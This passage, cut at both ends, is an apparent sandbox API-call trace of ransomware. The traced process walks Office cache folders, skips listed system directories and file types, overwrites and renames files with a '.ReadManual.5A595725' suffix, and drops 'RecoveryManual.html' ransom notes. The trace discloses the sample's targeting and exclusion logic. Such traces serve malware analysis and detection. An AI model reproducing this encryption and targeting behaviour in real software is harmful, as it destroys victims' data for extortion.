StrCmpIW (psz1="cab", psz2="bat") returned 1 [0187.463] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0187.463] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0187.463] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" [0187.463] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.ReadManual.5A595725" [0187.463] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.ReadManual.5A595725") returned 99 [0187.463] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30813184596) returned 1 [0187.463] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0187.463] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0187.463] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=2928955) returned 1 [0187.463] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cb13b, lpName=0x0) returned 0x194 [0187.464] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0187.464] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.464] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0187.466] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0187.466] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cb13b) returned 0x4350000 [0187.555] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0187.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30823075950) returned 1 [0187.562] CloseHandle (hObject=0x194) returned 1 [0187.562] SetSecurityInfo () returned 0x57 [0187.562] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0187.562] CloseHandle (hObject=0x190) returned 1 [0187.562] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0187.562] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0187.562] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0187.562] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.562] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0187.562] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0187.562] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0187.562] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0187.562] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0187.563] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0187.563] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" [0187.563] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0187.563] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0187.563] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30823162640) returned 1 [0187.563] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0187.563] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0187.563] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=2362) returned 1 [0187.563] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x93a, lpName=0x0) returned 0x194 [0187.563] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0187.564] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.564] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0187.565] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0187.566] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x93a) returned 0x2f0000 [0187.566] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0187.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30823450405) returned 1 [0187.566] CloseHandle (hObject=0x194) returned 1 [0187.566] SetSecurityInfo () returned 0x57 [0187.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0187.566] CloseHandle (hObject=0x190) returned 1 [0187.566] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0187.566] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0187.566] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0187.566] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C") returned="{90140000-0044-0409-1000-0000000FF1CE}-C" [0187.566] lstrcatW (in: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0187.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0187.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0187.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0187.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0187.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0187.566] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0187.567] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0187.567] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned 67 [0187.567] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0187.569] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0187.569] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.569] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0187.569] lstrcpyW (in: lpString1=0x6ab922, lpString2="InfLR.cab" | out: lpString1="InfLR.cab") returned="InfLR.cab" [0187.569] lstrcmpiW (lpString1="InfLR.cab", lpString2="RecoveryManual.html") returned -1 [0187.569] StrStrIW (lpFirst="InfLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.569] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0187.569] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0187.569] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0187.569] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" [0187.569] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.ReadManual.5A595725" [0187.569] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.ReadManual.5A595725") returned 96 [0187.569] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30823827985) returned 1 [0187.570] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0187.570] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0187.570] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=18874884) returned 1 [0187.570] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200204, lpName=0x0) returned 0x194 [0187.570] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0187.570] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.570] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0187.572] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0187.572] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200204) returned 0x4350000 [0188.236] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0188.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30895361422) returned 1 [0188.285] CloseHandle (hObject=0x194) returned 1 [0188.285] SetSecurityInfo () returned 0x57 [0188.285] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0188.285] CloseHandle (hObject=0x190) returned 1 [0188.586] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0188.586] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0188.587] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0188.587] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0188.588] CloseHandle (hObject=0x190) returned 1 [0188.588] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0188.588] lstrcpyW (in: lpString1=0x6ab922, lpString2="InfoPathMUI.msi" | out: lpString1="InfoPathMUI.msi") returned="InfoPathMUI.msi" [0188.588] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="RecoveryManual.html") returned -1 [0188.588] StrStrIW (lpFirst="InfoPathMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0188.588] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0188.588] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0188.588] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0188.589] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0188.589] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0188.589] lstrcpyW (in: lpString1=0x6ab922, lpString2="InfoPathMUI.xml" | out: lpString1="InfoPathMUI.xml") returned="InfoPathMUI.xml" [0188.589] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="RecoveryManual.html") returned -1 [0188.589] StrStrIW (lpFirst="InfoPathMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0188.589] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0188.589] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0188.589] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" [0188.589] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All 